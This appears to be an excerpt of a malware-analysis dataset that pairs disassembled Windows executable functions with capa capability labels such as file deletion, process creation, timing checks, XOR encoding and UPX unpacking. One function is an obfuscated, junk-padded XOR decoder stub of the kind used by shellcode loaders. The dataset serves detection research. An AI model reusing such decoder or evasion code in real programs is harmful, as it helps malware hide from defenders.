joyce8/EMBER2024-capa huggingface dataset:
Function at 0x537fc0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ecx
mov word [ebp - 2], dx
xor eax, eax
push ebp
push 0x2b0d6f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00467d80
xor ebx, ebx
mov eax, ebx
and eax, 0x80000001
jns 0x537ffb
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x538014
lea eax, [ebp - 0x10]
mov edx, dword [0x310c48]
mov edx, dword [edx]
mov edx, dword [edx + 0x10]
call fcn.00467de0
jmp 0x538027
lea eax, [ebp - 0x10]
mov edx, dword [0x310c48]
mov edx, dword [edx]
mov edx, dword [edx + 0x14]
call fcn.00467de0
lea eax, [ebp - 0x10]
mov edx, ebx
sar edx, 1
jns 0x538033
adc edx, 0
mov edx, dword [edx*4 + 0x2fe8ac]
call fcn.00467fec
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0x10]
call fcn.00467fd0
push eax
call fcn.00469f4c
mov esi, eax
cmp esi, 0xffffffff
je 0x538141
mov eax, 0x40
call fcn.00465b14
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0x40
push edi
push esi
call fcn.0046a35c
test eax, eax
je 0x538134
mov eax, edi
cmp word [eax], 0x5a4d
jne 0x538134
push 0
push 0
mov eax, dword [eax + 0x3c]
push eax
push esi
call fcn.0046a3cc
mov eax, edi
call fcn.00465b34
mov eax, 0x18
call fcn.00465b14
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0x18
push edi
push esi
call fcn.0046a35c
test eax, eax
je 0x538134
mov eax, edi
cmp dword [eax], 0x4550
jne 0x538134
add eax, 4
mov dx, word [eax]
cmp dx, 0x14c
jb 0x538134
cmp dx, 0x150
ja 0x538134
mov eax, edi
call fcn.00465b34
mov eax, 0xe0
call fcn.00465b14
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0xe0
push edi
push esi
call fcn.0046a35c
test eax, eax
je 0x538134
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 2]
jne 0x538134
mov eax, dword [eax + 0x10]
mov edx, dword [ebp - 8]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00467dbc
mov eax, edi
call fcn.00465b34
push esi
call fcn.00469f04
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor edx, edx
call fcn.004680f8
jne 0x538159
inc ebx
cmp ebx, 0x19
jne 0x537fed
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x2b0d76
lea eax, [ebp - 0x10]
call fcn.00467d80
ret
Function at 0x53847c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
xor ebx, ebx
push 0
push 0
push 0
push edi
call fcn.0046a3cc
push 0
lea eax, [ebp - 4]
push eax
push 0x40
push esi
push edi
call fcn.0046a35c
test eax, eax
je 0x538519
cmp word [esi], 0x5a4d
jne 0x538519
push 0
push 0
mov eax, dword [esi + 0x3c]
push eax
push edi
call fcn.0046a3cc
push 0
lea eax, [ebp - 4]
push eax
push 0x18
lea eax, [ebp - 0x1c]
push eax
push edi
call fcn.0046a35c
test eax, eax
je 0x538519
cmp dword [ebp - 0x1c], 0x4550
jne 0x538519
lea edx, [ebp - 0x18]
mov ecx, 0x14
mov eax, dword [ebp + 0xc]
call fcn.0046adc0
mov ax, word [ebp - 0x18]
cmp ax, 0x14c
jb 0x538519
cmp ax, 0x150
ja 0x538519
push 0
lea eax, [ebp - 4]
push eax
push 0xe0
mov eax, dword [ebp + 8]
push eax
push edi
call fcn.0046a35c
test eax, eax
je 0x538519
mov bl, 1
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x402d6b
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], esi
test edi, edi
jne 0x402d88
mov dword [ebp - 8], GetWindowLongA
and dword [ebp - 4], 0
mov ebx, edi
test edi, edi
jne 0x402d97
mov ebx, 0x40e508
mov eax, dword [ebp + 8]
test eax, eax
js 0x402dac
mov ecx, dword [0x423438]
add ecx, eax
push ecx
call fcn.00402d54
push 4
lea eax, [ebp + 0x14]
push eax
push dword [0x409010]
call fcn.004057f3
test eax, eax
jne 0x402dc9
push 0xfffffffffffffffd
pop eax
jmp 0x402f17
test dword [ebp + 0x14], 0x80000000
je 0x402ef6
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x416510
mov dword [ebp - 0xc], eax
call fcn.004063b6
and dword [ebp + 0x14], 0x7fffffff
mov eax, dword [ebp + 0x14]
mov dword [ebp + 8], eax
jle 0x402f14
mov esi, 0x4000
cmp dword [ebp + 0x14], esi
jge 0x402e09
mov esi, dword [ebp + 0x14]
push esi
mov edi, 0x40a508
push edi
call fcn.00402d3e
test eax, eax
je 0x402dc1
sub dword [ebp + 0x14], esi
mov dword [0x416528], edi
mov dword [0x41652c], esi
mov eax, dword [ebp - 8]
mov ecx, 0x416510
mov dword [0x416530], ebx
mov dword [0x416534], eax
call fcn.004063d6
mov dword [ebp - 0x10], eax
test eax, eax
js 0x402ee8
mov esi, dword [0x416530]
sub esi, ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
test byte [0x4234d4], 1
mov edi, eax
je 0x402ea7
sub eax, dword [ebp - 0xc]
cmp eax, 0xc8
ja 0x402e74
cmp dword [ebp + 0x14], 0
jne 0x402ea7
push dword [ebp + 8]
mov eax, dword [ebp + 8]
sub eax, dword [ebp + 0x14]
push 0x64
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
push eax
lea eax, [ebp - 0x50]
push str....__d__
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x50]
push eax
push 0
call fcn.00404889
mov dword [ebp - 0xc], edi
test esi, esi
je 0x402edc
cmp dword [ebp + 0x10], 0
jne 0x402ec4
push esi
push ebx
push dword [ebp + 0xc]
call fcn.00405822
test eax, eax
je 0x402eef
add dword [ebp - 4], esi
jmp 0x402ed0
add dword [ebp - 4], esi
sub dword [ebp - 8], esi
mov ebx, dword [0x416530]
cmp dword [ebp - 0x10], 1
jne 0x402e28
jmp 0x402f14
cmp dword [ebp + 0x14], 0
jg 0x402dfc
jmp 0x402f14
push 0xfffffffffffffffc
jmp 0x402dc3
push 0xfffffffffffffffe
jmp 0x402dc3
test edi, edi
je 0x402f51
cmp dword [ebp + 0x14], esi
jge 0x402f02
mov esi, dword [ebp + 0x14]
push esi
push edi
call fcn.00402d3e
test eax, eax
je 0x402dc1
mov dword [ebp - 4], esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0x10
mov esi, dword [ebp - 8]
cmp dword [ebp + 0x14], esi
jge 0x402f29
mov esi, dword [ebp + 0x14]
push esi
mov edi, 0x40a508
push edi
call fcn.00402d3e
test eax, eax
je 0x402dc1
push esi
push edi
push dword [ebp + 0xc]
call fcn.00405822
test eax, eax
je 0x402eef
add dword [ebp - 4], esi
sub dword [ebp + 0x14], esi
cmp dword [ebp + 0x14], 0
jg 0x402f1e
jmp 0x402f14
Function at 0x4054c1
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
push 4
pop eax
mov word [ebp - 0x1e], ax
mov eax, 0x407628
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
mov word [ebp - 0x20], 1
mov dword [ebp - 0x10], 0x407618
mov dword [ebp - 0xc], 0xc
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x405510
xor eax, eax
jmp 0x40553d
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0xb7
jne 0x40553c
lea eax, [ebp - 0x20]
push eax
push 0x80000007
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_SetFileSecurityA]
test eax, eax
je 0x40553a
xor eax, eax
jmp 0x40553c
call esi
pop esi
leave
ret 4

Function at 0x40555e
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
push eax
push 0x4209e0
xor eax, eax
push eax
push eax
push 0x4000000
push eax
push eax
push eax
push dword [ebp + 8]
mov dword [0x4209e0], 0x44
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40559d
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x4055a1
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x24], 0
push eax
mov dword [eax], 0x3c
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
ret 4

Function at 0x405756
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esi, eax
cmp esi, 0xffffffff
je 0x405776
and eax, 0xfffffffe
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, esi
pop esi
ret 4

Function at 0x40577c
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea ecx, [eax + 1]
push 0
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
ret 0xc

Function at 0x4057ab
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
dec edi
mov dword [ebp + 8], 0x61736e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
pop ecx
xor edx, edx
div ecx
push esi
push 0
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
add byte [ebp + 0xa], dl
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x4057ef
test edi, edi
jne 0x4057b6
mov byte [esi], 0
pop edi
pop esi
pop ebp
ret 8
mov eax, esi
jmp 0x4057e9
Function at 0x405931
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp + 0x18]
push eax
mov eax, dword [ebp + 0x18]
neg eax
sbb eax, eax
and eax, 0x100
or eax, 0x20019
push eax
push dword [ebp + 0xc]
mov dword [ebp - 4], 0x400
push dword [ebp + 8]
call fcn.004058d0
mov esi, dword [ebp + 0x14]
test eax, eax
jne 0x4059a0
push edi
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp + 0xc]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0x18]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
mov byte [esi + 0x3ff], 0
pop edi
jne 0x4059a0
cmp dword [ebp + 0xc], 1
je 0x4059a3
cmp dword [ebp + 0xc], 2
je 0x4059a3
mov byte [esi], 0
pop esi
leave
ret 0x14

Function at 0x405b2c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
push esi
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x405b50
xor eax, eax
test eax, eax
je 0x405b62
cmp byte [ebp + eax - 0x121], 0x5c
je 0x405b62
xor ecx, ecx
jmp 0x405b65
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x407298]
push ecx
lea eax, [ebp + eax - 0x120]
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 8
push 0
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4

Function at 0x405c66
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push esi
call fcn.00405756
mov edi, eax
cmp edi, 0xffffffff
je 0x405ca7
test byte [esp + 0x10], 1
push esi
je 0x405c90
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
je 0x405c98
xor eax, eax
inc eax
jmp 0x405ca9
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x405c87
test byte [esp + 0x10], 4
jne 0x405ca7
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor eax, eax
pop edi
pop esi
ret 8

Function at 0x405d02
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x420a28
push esi
call fcn.00405a48
push esi
call fcn.00405687
mov edi, eax
test edi, edi
jne 0x405d23
xor eax, eax
jmp 0x405d7b
push edi
call fcn.00405a6a
test byte [0x423448], 0x80
je 0x405d3c
mov al, byte [edi]
test al, al
je 0x405d1f
cmp al, 0x5c
je 0x405d1f
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
sub edi, esi
jmp 0x405d5c
push esi
call fcn.00405b05
test eax, eax
je 0x405d56
test byte [eax], 0x10
je 0x405d80
push esi
call fcn.00405cdb
push esi
call ebx
cmp eax, edi
jg 0x405d47
push esi
call fcn.00405cae
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop ebx
pop edi
pop esi
ret 4
xor eax, eax
jmp 0x405d7a
Function at 0x405fd6
Capabilities:
Get file size

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push ebp
push esi
mov esi, dword [esp + 0x14]
push edi
mov dword [0x420e28], 0x4c554e
mov edi, 0x400
mov ebp, 0x420e28
test esi, esi
je 0x406022
push 1
push 0
push esi
call fcn.0040577c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push ebp
push esi
call ebx
test eax, eax
je 0x406145
cmp eax, edi
jg 0x406145
push edi
mov esi, 0x421b68
push esi
push dword [esp + 0x1c]
call ebx
test eax, eax
je 0x406145
cmp eax, edi
jg 0x406145
push esi
push ebp
push str._s_s_r_n
push 0x421368
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov ebx, eax
mov eax, dword [0x4233f0]
push dword [eax + 0x128]
push esi
call fcn.00405d84
push 4
push 0xc0000000
push esi
call fcn.0040577c
mov ebp, eax
mov dword [esp + 0x18], ebp
cmp ebp, 0xffffffff
je 0x406145
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x40613e
push edi
push esi
push ebp
call fcn.004057f3
test eax, eax
je 0x40613e
push str._Rename__r_n
push esi
call fcn.004056dc
test eax, eax
jne 0x4060d8
push str._Rename__r_n
lea eax, [esi + edi]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add edi, 0xa
jmp 0x406111
push 0x4076c4
add eax, 0xa
push eax
call fcn.004056dc
mov ebp, eax
test ebp, ebp
je 0x40610d
lea ecx, [esi + edi]
lea eax, [ecx + ebx]
cmp ecx, ebp
jbe 0x406102
sub eax, ecx
mov dl, byte [ecx]
mov byte [eax + ecx], dl
dec ecx
cmp ecx, ebp
ja 0x4060f8
sub ebp, esi
lea eax, [ebp + 1]
mov ebp, dword [esp + 0x18]
jmp 0x406113
mov ebp, dword [esp + 0x18]
mov eax, edi
push ebx
push 0x421368
add eax, esi
push eax
call fcn.00405732
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
add edi, ebx
push edi
push esi
push ebp
call fcn.00405822
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x40614a
Capabilities:
Move file

Disassembly:
push 5
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x40616d
push dword [esp + 8]
push dword [esp + 8]
call fcn.00405fd6
pop ecx
pop ecx
inc dword [0x4234b0]
ret 8
Function at 0x406176
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
and esi, 4
push ebx
mov dword [ebp - 4], esi
call fcn.00405d02
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
test cl, 8
je 0x4061b5
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
inc eax
add dword [0x4234a8], eax
jmp 0x40633f
mov dword [ebp + 8], ecx
and dword [ebp + 8], 1
push edi
je 0x4061d0
test eax, eax
je 0x4062ed
test cl, 2
je 0x4062ed
push ebx
mov esi, 0x421768
push esi
call fcn.00405a48
cmp dword [ebp + 8], 0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
je 0x4061f2
push str..
push esi
call edi
jmp 0x4061f8
push ebx
call fcn.00405cdb
cmp byte [ebx], 0
jne 0x406206
cmp byte [0x421768], 0x5c
jne 0x40620e
push 0x407298
push ebx
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edi, [ebx + eax]
lea eax, [ebp - 0x14c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x4062e0
lea esi, [ebp - 0x120]
push 0x3f
mov eax, esi
push eax
call fcn.00405641
cmp byte [eax], 0
je 0x406250
cmp byte [ebp - 0x1c], 0
je 0x406250
lea esi, [ebp - 0x1c]
cmp byte [esi], 0x2e
jne 0x406266
mov al, byte [esi + 1]
test al, al
je 0x4062bf
cmp al, 0x2e
jne 0x406266
cmp byte [esi + 2], 0
je 0x4062bf
push esi
push edi
call fcn.00405a48
test byte [ebp - 0x14c], 0x10
je 0x40628b
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x4062bf
push dword [ebp + 0xc]
push ebx
call fcn.00406176
jmp 0x4062bf
push dword [ebp - 4]
push ebx
call fcn.00405c66
test eax, eax
jne 0x4062b7
cmp dword [ebp - 4], eax
je 0x4062af
push ebx
push 0xfffffffffffffff1
call fcn.00404889
push 0
push ebx
call fcn.0040614a
jmp 0x4062bf
inc dword [0x4234a8]
jmp 0x4062bf
push ebx
push 0xfffffffffffffff2
call fcn.00404889
lea eax, [ebp - 0x14c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x406232
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
mov esi, dword [ebp - 4]
je 0x4062ed
mov byte [edi - 1], 0
xor edi, edi
cmp dword [ebp + 8], edi
je 0x40633e
cmp dword [ebp - 0xc], edi
je 0x40632e
push ebx
call fcn.00405b05
test eax, eax
je 0x40633e
push ebx
call fcn.00405cae
mov eax, esi
or eax, 1
push eax
push ebx
call fcn.00405c66
test eax, eax
jne 0x406336
cmp esi, edi
je 0x40632e
push ebx
push 0xfffffffffffffff1
call fcn.00404889
push edi
push ebx
call fcn.0040614a
jmp 0x40633e
inc dword [0x4234a8]
jmp 0x40633e
push ebx
push 0xffffffffffffffe5
call fcn.00404889
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x406345
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x421f6c], 0
jne 0x406383
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406359
mov dword [ecx*4 + 0x421f68], eax
inc ecx
cmp ecx, 0x100
jl 0x406354
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x4063b0
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x421f68]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x406391
not eax
pop ebp
ret 0xc
Function at 0x407e30
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407f09
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407e68
mov eax, dword [ebp - 4]
call fcn.00407220
jmp 0x407e70
mov eax, dword [ebp - 4]
call fcn.00407c1c
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407ebc
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407ea6
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.00407220
jmp 0x407eb8
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407c1c
inc ebx
dec esi
jne 0x407e80
push 1
push dword [ebp - 4]
push 0x407f20
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f84
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407f10
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x7ffe53c8
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword fs:[0x30]
push es
pop ds
not eax
not eax
push eax
pop eax
push bx
inc esp
inc esp
and al, 0xff
pushf
popf
inc esi
dec esi
add al, 4
sub al, 4
add al, 0
push bx
inc esp
inc esp
and al, 0xff
add al, 4
sub al, 4
and al, 0xff
add al, 4
sub al, 4
inc esi
dec esi
add al, 4
sub al, 4
push es
pop ds
push bx
inc esp
inc esp
add al, 0
push bx
inc esp
inc esp
add al, 0
xor eax, ecx
xor eax, ecx
and al, 0xff
pushf
popf
push es
pop ds
xor eax, ecx
xor eax, ecx
push es
pop ds
pushf
popf
push es
pop ds
push eax
pop eax
clc
call 0x7ffe542c
pop edx
xor eax, ecx
xor eax, ecx
push es
pop ds
xor dx, dx
not eax
not eax
cld
and al, 0xff
add edx, 0xd5e0
push es
pop ds
nop
xor ecx, ecx
add al, 0
add al, 4
sub al, 4
push es
pop ds
mov cl, 0x1e
pushf
popf
and al, 0xff
xor byte [ecx + edx], 0x8b
loop 0x7ffe5458
push dword fs:[0x24]
clc
pop dword [edx + 0xa]
nop
mov cl, 0xff
push eax
pop eax
push edx
loop 0x7ffe546e
push eax
pop eax
and al, 0xff
mov dword [edx + 0x11], 0xffffacbb
add al, 0
push eax
pop eax
mov ecx, dword [eax + 0x2c]
push eax
pop eax
inc esi
dec esi
mov dword [edx + 0x1b], ecx
push es
pop ds
push bx
inc esp
inc esp
stc
mov dword [edx + 0x100], ecx
add al, 4
sub al, 4
nop
and al, 0xff
mov dword [eax + 0x2c], esp
inc esi
dec esi
push 0
pushf
popf
push 0
inc esi
dec esi
inc esi
dec esi
cld
push 0
xor eax, ecx
xor eax, ecx
nop
push 0
cld
push 0x30
inc esi
dec esi
pushf
popf
add al, 0
push 0x20
pushf
popf
inc esi
dec esi
push 0
clc
push 0
push eax
pop eax
inc esi
dec esi
add edx, 0xffff7f30
and al, 0xff
stc
push eax
pop eax
push edx
pushf
popf
push eax
pop eax
push eax
pop eax
push edx
nop
and al, 0xff
push 0
stc
call dword [edx + 0x8213]
add al, 4
sub al, 4
push eax
pop eax
add esp, 0x3f8
push edx
cdq
pop edx
xor eax, eax
inc eax
ret 0xc
Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130

Function at 0x43b64b
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x43b3c1
and edi, edi
call fcn.0043b682
dec edi
xor dword [ebx], ecx
push eax
pop eax
add eax, edi
add ebx, 1
inc eax
cmp ebx, edx
jne fcn.0043b64b
inc eax
inc edi
mov eax, 0x5336e5da
ret